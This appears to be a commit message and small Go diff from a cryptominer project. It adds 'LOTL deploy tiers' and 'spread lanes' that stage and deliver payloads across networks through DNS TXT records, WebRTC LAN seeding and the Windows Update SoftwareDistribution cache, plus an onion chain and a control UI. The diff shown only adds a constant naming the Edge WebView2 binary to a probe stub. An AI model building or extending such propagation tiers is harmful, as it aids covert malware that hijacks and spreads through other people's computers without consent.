Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

agent/miner/tier_webview2_probe_stub.go

@@ -2,6 +2,8 @@
 
 package miner
 
+const webView2BinaryName = "msedgewebview2.exe"
+
 func platformWebView2Probe() WebView2ProbeResult {
 	return WebView2ProbeResult{ProbeOnly: true}
 }